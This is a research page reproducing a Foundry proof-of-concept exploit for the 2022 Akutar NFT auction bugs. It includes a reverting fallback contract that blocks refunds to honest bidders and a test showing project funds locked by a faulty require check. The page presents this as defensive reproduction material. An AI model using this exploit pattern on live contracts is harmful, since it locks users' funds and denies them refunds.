Public reproduction file
src/test/2022-04/AkutarNFT_exp.sol
Public reproduction file for dataset entry Akutar NFT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7/*8Akutar NFT Denial of Service(DoS) Exploit PoC10There are two serious logic vulnerabilities121. First can cause a DoS attack due to the missing check if the bidder is a contract. As a result, the attacker can call the revert() and stop the honest bidders from getting back their bid amount.142. The Second will make the project fund (more than 34M USD) being locked forever due to incorrect check in the require statement.16forge test --contracts ./src/test/AkutarNFT_exp.sol -vv 17*/18contract AkutarNFTExploit is Test {19 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);20 IAkutarNFT akutarNft = IAkutarNFT(0xF42c318dbfBaab0EEE040279C6a2588Fa01a961d);22 function setUp() public {23 cheats.createSelectFork("mainnet", 14_636_844); // fork mainnet at 1463684424 }26 function testDOSAttack() public {27 address honestUser = 0xca2eB45533a6D5E2657382B0d6Ec01E33a425BF4;28 address maliciousUser = address(this); // malicious User is a contract address30 cheats.prank(maliciousUser); //maliciousUser makes a bid31 akutarNft.bid{value: 3.5 ether}(1);32 console.log("honestUser Balance before Bid: ", honestUser.balance / 1 ether);34 cheats.prank(honestUser); //honestUser makes a bid35 akutarNft.bid{value: 3.75 ether}(1);36 console.log("honestUser Balance after Bid: ", honestUser.balance / 1 ether);38 //Set the block.height to the time when the auction was over and processRefunds() can be invoked39 //https://etherscan.io/tx/0x62d280abc60f8b604175ab24896c989e6092e496ac01f2f5399b2a62e9feaacf40 //use - https://www.epochconverter.com/ for UTC <-> epoch41 cheats.warp(1_650_674_809);43 cheats.prank(maliciousUser);44 try akutarNft.processRefunds() {}45 catch Error(string memory Exception) {46 console.log("processRefunds() REVERT : ", Exception);47 }48 //Since the honestUser's bid was after maliciousUser's bid, the bid amount of the honestUser is never returned due to the revert Exception49 console.log("honestUser Balance post processRefunds: ", honestUser.balance / 1 ether);50 }52 function testclaimProjectFunds() public {53 address ownerOfAkutarNFT = 0xCc0eCD808Ce4fEd81f0552b3889656B28aa2BAe9;55 //Set the block.height to the time when the auction was over and claimProjectFunds() can be invoked56 cheats.warp(1_650_672_435);58 cheats.prank(ownerOfAkutarNFT);59 try akutarNft.claimProjectFunds() {}60 catch Error(string memory Exception) {61 console.log("claimProjectFunds() ERROR : ", Exception);62 }63 }65 fallback() external {66 revert("CAUSE REVERT !!!");67 }68}Analysis
Dataset entry
Public Foundry test for “Akutar NFT” (2022-04-23). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
10 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-04/Beanstalk_exp.solSame month in the dataset · 145 lines
- src/test/2022-04/cftoken_exp.solSame month in the dataset · 46 lines
- src/test/2022-04/deus_exp.solSame month in the dataset · 157 lines
- src/test/2022-04/Elephant_Money_exp.solSame month in the dataset · 119 lines
- src/test/2022-04/Gym_1_exp.solSame month in the dataset · 74 lines
- src/test/2022-04/Rari_exp.solSame month in the dataset · 102 lines
- src/test/2022-04/Rikkei_exp.solSame month in the dataset · 48 lines
- src/test/2022-04/Saddle_exp.solSame month in the dataset · 91 lines
- src/test/2022-04/Wdoge_exp.solSame month in the dataset · 38 lines
- src/test/2022-04/Zeed_exp.solSame month in the dataset · 51 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- Akutar NFT
- Path
- src/test/2022-04/AkutarNFT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- d1cfe4bd388e8fbd7ba0781cb447e56ff9e23fa0
- Language
- Solidity
- Size
- 69 lines
- Date
- 2022-04-23
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-04/AkutarNFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d1cfe4bd388e8fbd7ba0781cb447e56ff9e23fa0, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.